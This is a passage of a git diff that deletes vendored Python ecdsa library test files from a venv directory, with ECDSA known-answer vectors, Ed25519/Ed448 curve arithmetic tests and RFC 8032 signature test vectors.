0xA82BD718D01D354001148CD5F69B9EBF38FF6F21898F8AAA, - 0xE67CEEDE07FC2EBFAFD62462A51E4B6C6B3D5B537B7CAF3E, - 0x4D292486C620C3DE20856E57D3BB72FCDE4A73AD26376955, - 0xA85289591A6081D5728825520E62FF1C64F94235C04C7F95, - False, - ), - ( - generator_192, - int( - "0xca98ed9db081a07b7557f24ced6c7b9891269a95d2026747add9e9eb80638a" - "961cf9c71a1b9f2c29744180bd4c3d3db60f2243c5c0b7cc8a8d40a3f9a7fc91" - "0250f2187136ee6413ffc67f1a25e1c4c204fa9635312252ac0e0481d89b6d53" - "808f0c496ba87631803f6c572c1f61fa049737fdacce4adff757afed4f05beb6" - "58", - 16, - ), - 0x7D3B016B57758B160C4FCA73D48DF07AE3B6B30225126C2F, - 0x4AF3790D9775742BDE46F8DA876711BE1B65244B2B39E7EC, - 0x95F778F5F656511A5AB49A5D69DDD0929563C29CBC3A9E62, - 0x75C87FC358C251B4C83D2DD979FAAD496B539F9F2EE7A289, - False, - ), - ( - generator_192, - int( - "0x31dd9a54c8338bea06b87eca813d555ad1850fac9742ef0bbe40dad400e102" - "88acc9c11ea7dac79eb16378ebea9490e09536099f1b993e2653cd50240014c9" - "0a9c987f64545abc6a536b9bd2435eb5e911fdfde2f13be96ea36ad38df4ae9e" - "a387b29cced599af777338af2794820c9cce43b51d2112380a35802ab7e396c9" - "7a", - 16, - ), - 0x9362F28C4EF96453D8A2F849F21E881CD7566887DA8BEB4A, - 0xE64D26D8D74C48A024AE85D982EE74CD16046F4EE5333905, - 0xF3923476A296C88287E8DE914B0B324AD5A963319A4FE73B, - 0xF0BAEED7624ED00D15244D8BA2AEDE085517DBDEC8AC65F5, - True, - ), - ( - generator_192, - int( - "0xb2b94e4432267c92f9fdb9dc6040c95ffa477652761290d3c7de312283f645" - "0d89cc4aabe748554dfb6056b2d8e99c7aeaad9cdddebdee9dbc099839562d90" - "64e68e7bb5f3a6bba0749ca9a538181fc785553a4000785d73cc207922f63e8c" - "e1112768cb1de7b673aed83a1e4a74592f1268d8e2a4e9e63d414b5d442bd045" - "6d", - 16, - ), - 0xCC6FC032A846AAAC25533EB033522824F94E670FA997ECEF, - 0xE25463EF77A029ECCDA8B294FD63DD694E38D223D30862F1, - 0x066B1D07F3A40E679B620EDA7F550842A35C18B80C5EBE06, - 0xA0B0FB201E8F2DF65E2C4508EF303BDC90D934016F16B2DC, - False, - ), - ( - generator_192, - int( - "0x4366fcadf10d30d086911de30143da6f579527036937007b337f7282460eae" - "5678b15cccda853193ea5fc4bc0a6b9d7a31128f27e1214988592827520b214e" - "ed5052f7775b750b0c6b15f145453ba3fee24a085d65287e10509eb5d5f602c4" - "40341376b95c24e5c4727d4b859bfe1483d20538acdd92c7997fa9c614f0f839" - "d7", - 16, - ), - 0x955C908FE900A996F7E2089BEE2F6376830F76A19135E753, - 0xBA0C42A91D3847DE4A592A46DC3FDAF45A7CC709B90DE520, - 0x1F58AD77FC04C782815A1405B0925E72095D906CBF52A668, - 0xF2E93758B3AF75EDF784F05A6761C9B9A6043C66B845B599, - False, - ), - ( - generator_192, - int( - "0x543f8af57d750e33aa8565e0cae92bfa7a1ff78833093421c2942cadf99866" - "70a5ff3244c02a8225e790fbf30ea84c74720abf99cfd10d02d34377c3d3b412" - "69bea763384f372bb786b5846f58932defa68023136cd571863b304886e95e52" - "e7877f445b9364b3f06f3c28da12707673fecb4b8071de06b6e0a3c87da160ce" - "f3", - 16, - ), - 0x31F7FA05576D78A949B24812D4383107A9A45BB5FCCDD835, - 0x8DC0EB65994A90F02B5E19BD18B32D61150746C09107E76B, - 0xBE26D59E4E883DDE7C286614A767B31E49AD88789D3A78FF, - 0x8762CA831C1CE42DF77893C9B03119428E7A9B819B619068, - False, - ), - ( - generator_192, - int( - "0xd2e8454143ce281e609a9d748014dcebb9d0bc53adb02443a6aac2ffe6cb009f" - "387c346ecb051791404f79e902ee333ad65e5c8cb38dc0d1d39a8dc90add502357" - "2720e5b94b190d43dd0d7873397504c0c7aef2727e628eb6a74411f2e400c65670" - "716cb4a815dc91cbbfeb7cfe8c929e93184c938af2c078584da045e8f8d1", - 16, - ), - 0x66AA8EDBBDB5CF8E28CEB51B5BDA891CAE2DF84819FE25C0, - 0x0C6BC2F69030A7CE58D4A00E3B3349844784A13B8936F8DA, - 0xA4661E69B1734F4A71B788410A464B71E7FFE42334484F23, - 0x738421CF5E049159D69C57A915143E226CAC8355E149AFE9, - False, - ), - ( - generator_192, - int( - "0x6660717144040f3e2f95a4e25b08a7079c702a8b29babad5a19a87654bc5c5af" - "a261512a11b998a4fb36b5d8fe8bd942792ff0324b108120de86d63f65855e5461" - "184fc96a0a8ffd2ce6d5dfb0230cbbdd98f8543e361b3205f5da3d500fdc8bac6d" - "b377d75ebef3cb8f4d1ff738071ad0938917889250b41dd1d98896ca06fb", - 16, - ), - 0xBCFACF45139B6F5F690A4C35A5FFFA498794136A2353FC77, - 0x6F4A6C906316A6AFC6D98FE1F0399D056F128FE0270B0F22, - 0x9DB679A3DAFE48F7CCAD122933ACFE9DA0970B71C94C21C1, - 0x984C2DB99827576C0A41A5DA41E07D8CC768BC82F18C9DA9, - False, - ), -] - - -@pytest.mark.parametrize("gen,msg,qx,qy,r,s,expected", CURVE_192_KATS) -def test_signature_validity(gen, msg, qx, qy, r, s, expected): - """ - `msg` = message, `qx` and `qy` represent the base point on - elliptic curve of `gen`, `r` and `s` are the signature, and - `expected` is True iff the signature is expected to be valid.""" - pubk = Public_key(gen, ellipticcurve.Point(gen.curve(), qx, qy)) - with pytest.warns(DeprecationWarning) as warns: - msg_dgst = digest_integer(msg) - assert len(warns) == 3 - assert "unused" in warns[0].message.args[0] - assert "unused" in warns[1].message.args[0] - assert "unused" in warns[2].message.args[0] - assert expected == pubk.verifies(msg_dgst, Signature(r, s)) - - -@pytest.mark.parametrize( - "gen,msg,qx,qy,r,s,expected", [x for x in CURVE_192_KATS if x[6]] -) -def test_pk_recovery(gen, msg, r, s, qx, qy, expected): - del expected - sign = Signature(r, s) - with pytest.warns(DeprecationWarning) as warns: - msg_dgst = digest_integer(msg) - assert len(warns) == 3 - assert "unused" in warns[0].message.args[0] - assert "unused" in warns[1].message.args[0] - assert "unused" in warns[2].message.args[0] - pks = sign.recover_public_keys(msg_dgst, gen) - - assert pks - - # Test if the signature is valid for all found public keys - for pk in pks: - q = pk.point - test_signature_validity(gen, msg, q.x(), q.y(), r, s, True) - - # Test if the original public key is in the set of found keys - original_q = ellipticcurve.Point(gen.curve(), qx, qy) - points = [pk.point for pk in pks] - assert original_q in points - - -@st.composite -def st_random_gen_key_msg_nonce(draw): - """Hypothesis strategy for test_sig_verify().""" - name_gen = { - "generator_192": generator_192, - "generator_224": generator_224, - "generator_256": generator_256, - "generator_secp256k1": generator_secp256k1, - "generator_384": generator_384, - "generator_521": generator_521, - } - name = draw(st.sampled_from(sorted(name_gen.keys()))) - note("Generator used: {0}".format(name)) - generator = name_gen[name] - order = int(generator.order()) - 1 - - key = draw(st.integers(min_value=1, max_value=order)) - msg = draw(st.integers(min_value=1, max_value=order)) - nonce = draw( - st.integers(min_value=1, max_value=order) - | st.integers(min_value=order >> 1, max_value=order) - ) - return generator, key, msg, nonce - - -SIG_VER_SETTINGS = dict(HYP_SETTINGS) -if "--fast" in sys.argv: # pragma: no cover - SIG_VER_SETTINGS["max_examples"] = 1 -else: - SIG_VER_SETTINGS["max_examples"] = 10 - - -@settings(**SIG_VER_SETTINGS) -@example((generator_224, 4, 1, 1)) -@given(st_random_gen_key_msg_nonce()) -def test_sig_verify(args): - """ - Check if signing and verification works for arbitrary messages and - that signatures for other messages are rejected. - """ - generator, sec_mult, msg, nonce = args - - pubkey = Public_key(generator, generator * sec_mult) - privkey = Private_key(pubkey, sec_mult) - - signature = privkey.sign(msg, nonce) - - assert pubkey.verifies(msg, signature) - - assert not pubkey.verifies(msg - 1, signature) - - -def test_int_to_string_with_zero(): - with pytest.warns(DeprecationWarning) as warns: - assert int_to_string(0) == b"\x00" - - assert len(warns) == 1 - assert "unused" in warns[0].message.args[0] diff --git a/venv/Lib/site-packages/ecdsa/test_eddsa.py b/venv/Lib/site-packages/ecdsa/test_eddsa.py deleted file mode 100644 index 6821b3bca87189d8a411e705522fff6333a31ce6..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/ecdsa/test_eddsa.py +++ /dev/null @@ -1,1124 +0,0 @@ -import sys -import pickle -import hashlib -import pytest - -try: - import unittest2 as unittest -except ImportError: - import unittest -from hypothesis import given, settings, example -import hypothesis.strategies as st -from .ellipticcurve import PointEdwards, INFINITY, CurveEdTw -from .eddsa import ( - generator_ed25519, - curve_ed25519, - generator_ed448, - curve_ed448, - PrivateKey, - PublicKey, -) -from .ecdsa import generator_256, curve_256 -from .errors import MalformedPointError -from ._compat import a2b_hex, compat26_str - - -class TestA2B_Hex(unittest.TestCase): - def test_invalid_input(self): - with self.assertRaises(ValueError): - a2b_hex("abcdefghi") - - -def test_ed25519_curve_compare(): - assert curve_ed25519 != curve_256 - - -def test_ed25519_and_ed448_compare(): - assert curve_ed448 != curve_ed25519 - - -def test_ed25519_and_custom_curve_compare(): - a = CurveEdTw(curve_ed25519.p(), -curve_ed25519.a(), 1) - - assert curve_ed25519 != a - - -def test_ed25519_and_almost_exact_curve_compare(): - a = CurveEdTw(curve_ed25519.p(), curve_ed25519.a(), 1) - - assert curve_ed25519 != a - - -def test_ed25519_and_same_curve_params(): - a = CurveEdTw(curve_ed25519.p(), curve_ed25519.a(), curve_ed25519.d()) - - assert curve_ed25519 == a - assert not (curve_ed25519 != a) - - -def test_ed25519_contains_point(): - g = generator_ed25519 - assert curve_ed25519.contains_point(g.x(), g.y()) - - -def test_ed25519_contains_point_bad(): - assert not curve_ed25519.contains_point(1, 1) - - -def test_ed25519_double(): - a = generator_ed25519 - - z = a.double() - - assert isinstance(z, PointEdwards) - - x2 = int( - "24727413235106541002554574571675588834622768167397638456726423" - "682521233608206" - ) - y2 = int( - "15549675580280190176352668710449542251549572066445060580507079" - "593062643049417" - ) - - b = PointEdwards(curve_ed25519, x2, y2, 1, x2 * y2) - - assert z == b - assert a != b - - -def test_ed25519_add_as_double(): - a = generator_ed25519 - - z = a + a - - assert isinstance(z, PointEdwards) - - b = generator_ed25519.double() - - assert z == b - - -def test_ed25519_double_infinity(): - a = PointEdwards(curve_ed25519, 0, 1, 1, 0) - - z = a.double() - - assert z is INFINITY - - -def test_ed25519_double_badly_encoded_infinity(): - # invalid point, mostly to make instrumental happy - a = PointEdwards(curve_ed25519, 1, 1, 1, 0) - - z = a.double() - - assert z is INFINITY - - -def test_ed25519_eq_with_different_z(): - x = generator_ed25519.x() - y = generator_ed25519.y() - p = curve_ed25519.p() - - a = PointEdwards(curve_ed25519, x * 2 % p, y * 2 % p, 2, x * y * 2 % p) - b = PointEdwards(curve_ed25519, x * 3 % p, y * 3 % p, 3, x * y * 3 % p) - - assert a == b - - assert not (a != b) - - -def test_ed25519_eq_against_infinity(): - assert generator_ed25519 != INFINITY - - -def test_ed25519_eq_encoded_infinity_against_infinity(): - a = PointEdwards(curve_ed25519, 0, 1, 1, 0) - assert a == INFINITY - - -def test_ed25519_eq_bad_encode_of_infinity_against_infinity(): - # technically incorrect encoding of the point at infinity, but we check - # both X and T, so verify that just T==0 works - a = PointEdwards(curve_ed25519, 1, 1, 1, 0) - assert a == INFINITY - - -def test_ed25519_eq_against_non_Edwards_point(): - assert generator_ed25519 != generator_256 - - -def test_ed25519_eq_against_negated_point(): - g = generator_ed25519 - neg = PointEdwards(curve_ed25519, -g.x(), g.y(), 1, -g.x() * g.y()) - assert g != neg - - -def test_ed25519_eq_x_different_y(): - # not points on the curve, but __eq__ doesn't care - a = PointEdwards(curve_ed25519, 1, 1, 1, 1) - b = PointEdwards(curve_ed25519, 1, 2, 1, 2) - - assert a != b - - -def test_ed25519_mul_by_order(): - g = PointEdwards( - curve_ed25519, - generator_ed25519.x(), - generator_ed25519.y(), - 1, - generator_ed25519.x() * generator_ed25519.y(), - ) - - assert g * generator_ed25519.order() == INFINITY - - -def test_radd(): - - a = PointEdwards(curve_ed25519, 1, 1, 1, 1) - - p = INFINITY + a - - assert p == a - - -def test_ed25519_test_normalisation_and_scaling(): - x = generator_ed25519.x() - y = generator_ed25519.y() - p = curve_ed25519.p() - - a = PointEdwards(curve_ed25519, x * 11 % p, y * 11 % p, 11, x * y * 11 % p) - - assert a.x() == x - assert a.y() == y - - a.scale() - - assert a.x() == x - assert a.y() == y - - a.scale() # second execution should be a noop - - assert a.x() == x - assert a.y() == y - - -def test_ed25519_add_three_times(): - a = generator_ed25519 - - z = a + a + a - - x3 = int( - "468967334644549386571235445953867877890461982801326656862413" - "21779790909858396" - ) - y3 = int( - "832484377853344397649037712036920113830141722629755531674120" - "2210403726505172" - ) - - b = PointEdwards(curve_ed25519, x3, y3, 1, x3 * y3) - - assert z == b - - -def test_ed25519_add_to_infinity(): - # generator * (order-1) - x1 = int( - "427838232691226969392843410947554224151809796397784248136826" - "78720006717057747" - ) - y1 = int( - "463168356949264781694283940034751631413079938662562256157830" - "33603165251855960" - ) - inf_m_1 = PointEdwards(curve_ed25519, x1, y1, 1, x1 * y1) - - inf = inf_m_1 + generator_ed25519 - - assert inf is INFINITY - - -def test_ed25519_add_and_mul_equivalence(): - g = generator_ed25519 - - assert g + g == g * 2 - assert g + g + g == g * 3 - - -def test_ed25519_add_literal_infinity(): - g = generator_ed25519 - z = g + INFINITY - - assert z == g - - -def test_ed25519_add_infinity(): - inf = PointEdwards(curve_ed25519, 0, 1, 1, 0) - g = generator_ed25519 - z = g + inf - - assert z == g - - z = inf + g - - assert z == g - - -class TestEd25519(unittest.TestCase): - def test_add_wrong_curves(self): - with self.assertRaises(ValueError) as e: - generator_ed25519 + generator_ed448 - - self.assertIn("different curve", str(e.exception)) - - def test_add_wrong_point_type(self): - with self.assertRaises(ValueError) as e: - generator_ed25519 + generator_256 - - self.assertIn("different curve", str(e.exception)) - - -def test_generate_with_point(): - x1 = int( - "427838232691226969392843410947554224151809796397784248136826" - "78720006717057747" - ) - y1 = int( - "463168356949264781694283940034751631413079938662562256157830" - "33603165251855960" - ) - p = PointEdwards(curve_ed25519, x1, y1, 1, x1 * y1) - - pk = PublicKey(generator_ed25519, b"0" * 32, public_point=p) - - assert pk.public_point() == p - - -def test_ed25519_mul_to_order_min_1(): - x1 = int( - "427838232691226969392843410947554224151809796397784248136826" - "78720006717057747" - ) - y1 = int( - "463168356949264781694283940034751631413079938662562256157830" - "33603165251855960" - ) - inf_m_1 = PointEdwards(curve_ed25519, x1, y1, 1, x1 * y1) - - assert generator_ed25519 * (generator_ed25519.order() - 1) == inf_m_1 - - -def test_ed25519_mul_to_infinity(): - assert generator_ed25519 * generator_ed25519.order() == INFINITY - - -def test_ed25519_mul_to_infinity_plus_1(): - g = generator_ed25519 - assert g * (g.order() + 1) == g - - -def test_ed25519_mul_and_add(): - g = generator_ed25519 - a = g * 128 - b = g * 64 + g * 64 - - assert a == b - - -def test_ed25519_mul_and_add_2(): - g = generator_ed25519 - - a = g * 123 - b = g * 120 + g * 3 - - assert a == b - - -def test_ed25519_mul_infinity(): - inf = PointEdwards(curve_ed25519, 0, 1, 1, 0) - - z = inf * 11 - - assert z == INFINITY - - -def test_ed25519_mul_by_zero(): - z = generator_ed25519 * 0 - - assert z == INFINITY - - -def test_ed25519_mul_by_one(): - z = generator_ed25519 * 1 - - assert z == generator_ed25519 - - -def test_ed25519_mul_custom_point(): - # verify that multiplication without order set works - - g = generator_ed25519 - - a = PointEdwards(curve_ed25519, g.x(), g.y(), 1, g.x() * g.y()) - - z = a * 11 - - assert z == g * 11 - - -def test_ed25519_pickle(): - g = generator_ed25519 - assert pickle.loads(pickle.dumps(g)) == g - - -def test_ed448_eq_against_different_curve(): - assert generator_ed25519 != generator_ed448 - - -def test_ed448_double(): - g = generator_ed448 - z = g.double() - - assert isinstance(z, PointEdwards) - - x2 = int( - "4845591495304045936995492052586696895690942404582120401876" - "6013278705691214670908136440114445572635086627683154494739" - "7859048262938744149" - ) - y2 = int( - "4940887598674337276743026725267350893505445523037277237461" - "2648447308771911703729389009346215770388834286503647778745" - "3078312060500281069" - ) - - b = PointEdwards(curve_ed448, x2, y2, 1, x2 * y2) - - assert z == b - assert g != b - - -def test_ed448_add_as_double(): - g = generator_ed448 - z = g + g - - b = g.double() - - assert z == b - - -def test_ed448_mul_as_double(): - g = generator_ed448 - z = g * 2 - b = g.double() - - assert z == b - - -def test_ed448_add_to_infinity(): - # generator * (order - 1) - x1 = int( - "5022586839996825903617194737881084981068517190547539260353" - "6473749366191269932473977736719082931859264751085238669719" - "1187378895383117729" - ) - y1 = int( - "2988192100784814926760179304439306734375440401540802420959" - "2824137233150618983587600353687865541878473398230323350346" - "2500531545062832660" - ) - inf_m_1 = PointEdwards(curve_ed448, x1, y1, 1, x1 * y1) - - inf = inf_m_1 + generator_ed448 - - assert inf is INFINITY - - -def test_ed448_mul_to_infinity(): - g = generator_ed448 - inf = g * g.order() - - assert inf is INFINITY - - -def test_ed448_mul_to_infinity_plus_1(): - g = generator_ed448 - - z = g * (g.order() + 1) - - assert z == g - - -def test_ed448_add_and_mul_equivalence(): - g = generator_ed448 - - assert g + g == g * 2 - assert g + g + g == g * 3 - - -def test_ed25519_encode(): - g = generator_ed25519 - g_bytes = g.to_bytes() - assert len(g_bytes) == 32 - exp_bytes = ( - b"\x58\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66" - b"\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66" - ) - assert g_bytes == exp_bytes - - -def test_ed25519_decode(): - exp_bytes = ( - b"\x58\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66" - b"\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66" - ) - a = PointEdwards.from_bytes(curve_ed25519, exp_bytes) - - assert a == generator_ed25519 - - -class TestEdwardsMalformed(unittest.TestCase): - def test_invalid_point(self): - exp_bytes = ( - b"\x78\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66" - b"\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66" - ) - with self.assertRaises(MalformedPointError): - PointEdwards.from_bytes(curve_ed25519, exp_bytes) - - def test_invalid_length(self): - exp_bytes = ( - b"\x58\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66" - b"\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66" - b"\x66" - ) - with self.assertRaises(MalformedPointError) as e: - PointEdwards.from_bytes(curve_ed25519, exp_bytes) - - self.assertIn("length", str(e.exception)) - - def test_ed448_invalid(self): - exp_bytes = b"\xff" * 57 - with self.assertRaises(MalformedPointError): - PointEdwards.from_bytes(curve_ed448, exp_bytes) - - -def test_ed448_encode(): - g = generator_ed448 - g_bytes = g.to_bytes() - assert len(g_bytes) == 57 - exp_bytes = ( - b"\x14\xfa\x30\xf2\x5b\x79\x08\x98\xad\xc8\xd7\x4e\x2c\x13\xbd" - b"\xfd\xc4\x39\x7c\xe6\x1c\xff\xd3\x3a\xd7\xc2\xa0\x05\x1e\x9c" - b"\x78\x87\x40\x98\xa3\x6c\x73\x73\xea\x4b\x62\xc7\xc9\x56\x37" - b"\x20\x76\x88\x24\xbc\xb6\x6e\x71\x46\x3f\x69\x00" - ) - assert g_bytes == exp_bytes - - -def test_ed448_decode(): - exp_bytes = ( - b"\x14\xfa\x30\xf2\x5b\x79\x08\x98\xad\xc8\xd7\x4e\x2c\x13\xbd" - b"\xfd\xc4\x39\x7c\xe6\x1c\xff\xd3\x3a\xd7\xc2\xa0\x05\x1e\x9c" - b"\x78\x87\x40\x98\xa3\x6c\x73\x73\xea\x4b\x62\xc7\xc9\x56\x37" - b"\x20\x76\x88\x24\xbc\xb6\x6e\x71\x46\x3f\x69\x00" - ) - - a = PointEdwards.from_bytes(curve_ed448, exp_bytes) - - assert a == generator_ed448 - - -class TestEdDSAEquality(unittest.TestCase): - def test_equal_public_points(self): - key1 = PublicKey(generator_ed25519, b"\x01" * 32) - key2 = PublicKey(generator_ed25519, b"\x01" * 32) - - self.assertEqual(key1, key2) - # verify that `__ne__` works as expected - self.assertFalse(key1 != key2) - - def test_unequal_public_points(self): - key1 = PublicKey(generator_ed25519, b"\x01" * 32) - key2 = PublicKey(generator_ed25519, b"\x03" * 32) - - self.assertNotEqual(key1, key2) - - def test_unequal_to_string(self): - key1 = PublicKey(generator_ed25519, b"\x01" * 32) - key2 = b"\x01" * 32 - - self.assertNotEqual(key1, key2) - - def test_unequal_publickey_curves(self): - key1 = PublicKey(generator_ed25519, b"\x01" * 32) - key2 = PublicKey(generator_ed448, b"\x03" * 56 + b"\x00") - - self.assertNotEqual(key1, key2) - # verify that `__ne__` works as expected - self.assertTrue(key1 != key2) - - def test_equal_private_keys(self): - key1 = PrivateKey(generator_ed25519, b"\x01" * 32) - key2 = PrivateKey(generator_ed25519, b"\x01" * 32) - - self.assertEqual(key1, key2) - # verify that `__ne__` works as expected - self.assertFalse(key1 != key2) - - def test_unequal_private_keys(self): - key1 = PrivateKey(generator_ed25519, b"\x01" * 32) - key2 = PrivateKey(generator_ed25519, b"\x02" * 32) - - self.assertNotEqual(key1, key2) - # verify that `__ne__` works as expected - self.assertTrue(key1 != key2) - - def test_unequal_privatekey_to_string(self): - key1 = PrivateKey(generator_ed25519, b"\x01" * 32) - key2 = b"\x01" * 32 - - self.assertNotEqual(key1, key2) - - def test_unequal_privatekey_curves(self): - key1 = PrivateKey(generator_ed25519, b"\x01" * 32) - key2 = PrivateKey(generator_ed448, b"\x01" * 57) - - self.assertNotEqual(key1, key2) - - -class TestInvalidEdDSAInputs(unittest.TestCase): - def test_wrong_length_of_private_key(self): - with self.assertRaises(ValueError): - PrivateKey(generator_ed25519, b"\x01" * 31) - - def test_wrong_length_of_public_key(self): - with self.assertRaises(ValueError): - PublicKey(generator_ed25519, b"\x01" * 33) - - def test_wrong_cofactor_curve(self): - ed_c = curve_ed25519 - - def _hash(data): - return hashlib.new("sha512", compat26_str(data)).digest() - - curve = CurveEdTw(ed_c.p(), ed_c.a(), ed_c.d(), 1, _hash) - g = generator_ed25519 - fake_gen = PointEdwards(curve, g.x(), g.y(), 1, g.x() * g.y()) - - with self.assertRaises(ValueError) as e: - PrivateKey(fake_gen, g.to_bytes()) - - self.assertIn("cofactor", str(e.exception)) - - def test_invalid_signature_length(self): - key = PublicKey(generator_ed25519, b"\x01" * 32) - - with self.assertRaises(ValueError) as e: - key.verify(b"", b"\x01" * 65) - - self.assertIn("length", str(e.exception)) - - def test_changing_public_key(self): - key = PublicKey(generator_ed25519, b"\x01" * 32) - - g = key.point - - new_g = PointEdwards(curve_ed25519, g.x(), g.y(), 1, g.x() * g.y()) - - key.point = new_g - - self.assertEqual(g, key.point) - - def test_changing_public_key_to_different_point(self): - key = PublicKey(generator_ed25519, b"\x01" * 32) - - with self.assertRaises(ValueError) as e: - key.point = generator_ed25519 - - self.assertIn("coordinates", str(e.exception)) - - def test_invalid_s_value(self): - key = PublicKey( - generator_ed25519, - b"\xd7\x5a\x98\x01\x82\xb1\x0a\xb7\xd5\x4b\xfe\xd3\xc9\x64\x07\x3a" - b"\x0e\xe1\x72\xf3\xda\xa6\x23\x25\xaf\x02\x1a\x68\xf7\x07\x51\x1a", - ) - sig_valid = bytearray( - b"\xe5\x56\x43\x00\xc3\x60\xac\x72\x90\x86\xe2\xcc\x80\x6e\x82\x8a" - b"\x84\x87\x7f\x1e\xb8\xe5\xd9\x74\xd8\x73\xe0\x65\x22\x49\x01\x55" - b"\x5f\xb8\x82\x15\x90\xa3\x3b\xac\xc6\x1e\x39\x70\x1c\xf9\xb4\x6b" - b"\xd2\x5b\xf5\xf0\x59\x5b\xbe\x24\x65\x51\x41\x43\x8e\x7a\x10\x0b" - ) - - self.assertTrue(key.verify(b"", sig_valid)) - - sig_invalid = bytearray(sig_valid) - sig_invalid[-1] = 0xFF - - with self.assertRaises(ValueError): - key.verify(b"", sig_invalid) - - def test_invalid_r_value(self): - key = PublicKey( - generator_ed25519, - b"\xd7\x5a\x98\x01\x82\xb1\x0a\xb7\xd5\x4b\xfe\xd3\xc9\x64\x07\x3a" - b"\x0e\xe1\x72\xf3\xda\xa6\x23\x25\xaf\x02\x1a\x68\xf7\x07\x51\x1a", - ) - sig_valid = bytearray( - b"\xe5\x56\x43\x00\xc3\x60\xac\x72\x90\x86\xe2\xcc\x80\x6e\x82\x8a" - b"\x84\x87\x7f\x1e\xb8\xe5\xd9\x74\xd8\x73\xe0\x65\x22\x49\x01\x55" - b"\x5f\xb8\x82\x15\x90\xa3\x3b\xac\xc6\x1e\x39\x70\x1c\xf9\xb4\x6b" - b"\xd2\x5b\xf5\xf0\x59\x5b\xbe\x24\x65\x51\x41\x43\x8e\x7a\x10\x0b" - ) - - self.assertTrue(key.verify(b"", sig_valid)) - - sig_invalid = bytearray(sig_valid) - sig_invalid[0] = 0xE0 - - with self.assertRaises(ValueError): - key.verify(b"", sig_invalid) - - -HYP_SETTINGS = dict() -if "--fast" in sys.argv: # pragma: no cover - HYP_SETTINGS["max_examples"] = 2 -else: - HYP_SETTINGS["max_examples"] = 10 - - -@settings(**HYP_SETTINGS) -@example(1) -@example(5) # smallest multiple that requires changing sign of x -@given(st.integers(min_value=1, max_value=int(generator_ed25519.order() - 1))) -def test_ed25519_encode_decode(multiple): - a = generator_ed25519 * multiple - - b = PointEdwards.from_bytes(curve_ed25519, a.to_bytes()) - - assert a == b - - -@settings(**HYP_SETTINGS) -@example(1) -@example(2) # smallest multiple that requires changing the sign of x -@given(st.integers(min_value=1, max_value=int(generator_ed448.order() - 1))) -def test_ed448_encode_decode(multiple): - a = generator_ed448 * multiple - - b = PointEdwards.from_bytes(curve_ed448, a.to_bytes()) - - assert a == b - - -@settings(**HYP_SETTINGS) -@example(1) -@example(2) -@given(st.integers(min_value=1, max_value=int(generator_ed25519.order()) - 1)) -def test_ed25519_mul_precompute_vs_naf(multiple): - """Compare multiplication with and without precomputation.""" - g = generator_ed25519 - new_g = PointEdwards(curve_ed25519, g.x(), g.y(), 1, g.x() * g.y()) - - assert g * multiple == multiple * new_g - - -# Test vectors from RFC 8032 -TEST_VECTORS = [ - # TEST 1 - ( - generator_ed25519, - "9d61b19deffd5a60ba844af492ec2cc4" "4449c5697b326919703bac031cae7f60", - "d75a980182b10ab7d54bfed3c964073a" "0ee172f3daa62325af021a68f707511a", - "", - "e5564300c360ac729086e2cc806e828a" - "84877f1eb8e5d974d873e06522490155" - "5fb8821590a33bacc61e39701cf9b46b" - "d25bf5f0595bbe24655141438e7a100b", - ), - # TEST 2 - ( - generator_ed25519, - "4ccd089b28ff96da9db6c346ec114e0f" "5b8a319f35aba624da8cf6ed4fb8a6fb", - "3d4017c3e843895a92b70aa74d1b7ebc" "9c982ccf2ec4968cc0cd55f12af4660c", - "72", - "92a009a9f0d4cab8720e820b5f642540" - "a2b27b5416503f8fb3762223ebdb69da" - "085ac1e43e15996e458f3613d0f11d8c" - "387b2eaeb4302aeeb00d291612bb0c00", - ), - # TEST 3 - ( - generator_ed25519, - "c5aa8df43f9f837bedb7442f31dcb7b1" "66d38535076f094b85ce3a2e0b4458f7", - "fc51cd8e6218a1a38da47ed00230f058" "0816ed13ba3303ac5deb911548908025", - "af82", - "6291d657deec24024827e69c3abe01a3" - "0ce548a284743a445e3680d7db5ac3ac" - "18ff9b538d16f290ae67f760984dc659" - "4a7c15e9716ed28dc027beceea1ec40a", - ), - # TEST 1024 - ( - generator_ed25519, - "f5e5767cf153319517630f226876b86c" "8160cc583bc013744c6bf255f5cc0ee5", - "278117fc144c72340f67d0f2316e8386" "ceffbf2b2428c9c51fef7c597f1d426e", - "08b8b2b733424243760fe426a4b54908" - "632110a66c2f6591eabd3345e3e4eb98" - "fa6e264bf09efe12ee50f8f54e9f77b1" - "e355f6c50544e23fb1433ddf73be84d8" - "79de7c0046dc4996d9e773f4bc9efe57" - "38829adb26c81b37c93a1b270b20329d" - "658675fc6ea534e0810a4432826bf58c" - "941efb65d57a338bbd2e26640f89ffbc" - "1a858efcb8550ee3a5e1998bd177e93a" - "7363c344fe6b199ee5d02e82d522c4fe" - "ba15452f80288a821a579116ec6dad2b" - "3b310da903401aa62100ab5d1a36553e" - "06203b33890cc9b832f79ef80560ccb9" - "a39ce767967ed628c6ad573cb116dbef" - "efd75499da96bd68a8a97b928a8bbc10" - "3b6621fcde2beca1231d206be6cd9ec7" - "aff6f6c94fcd7204ed3455c68c83f4a4" - "1da4af2b74ef5c53f1d8ac70bdcb7ed1" - "85ce81bd84359d44254d95629e9855a9" - "4a7c1958d1f8ada5d0532ed8a5aa3fb2" - "d17ba70eb6248e594e1a2297acbbb39d" - "502f1a8c6eb6f1ce22b3de1a1f40cc24" - "554119a831a9aad6079cad88425de6bd" - "e1a9187ebb6092cf67bf2b13fd65f270" - "88d78b7e883c8759d2c4f5c65adb7553" - "878ad575f9fad878e80a0c9ba63bcbcc" - "2732e69485bbc9c90bfbd62481d9089b" - "eccf80cfe2df16a2cf65bd92dd597b07" - "07e0917af48bbb75fed413d238f5555a" - "7a569d80c3414a8d0859dc65a46128ba" - "b27af87a71314f318c782b23ebfe808b" - "82b0ce26401d2e22f04d83d1255dc51a" - "ddd3b75a2b1ae0784504df543af8969b" - "e3ea7082ff7fc9888c144da2af58429e" - "c96031dbcad3dad9af0dcbaaaf268cb8" - 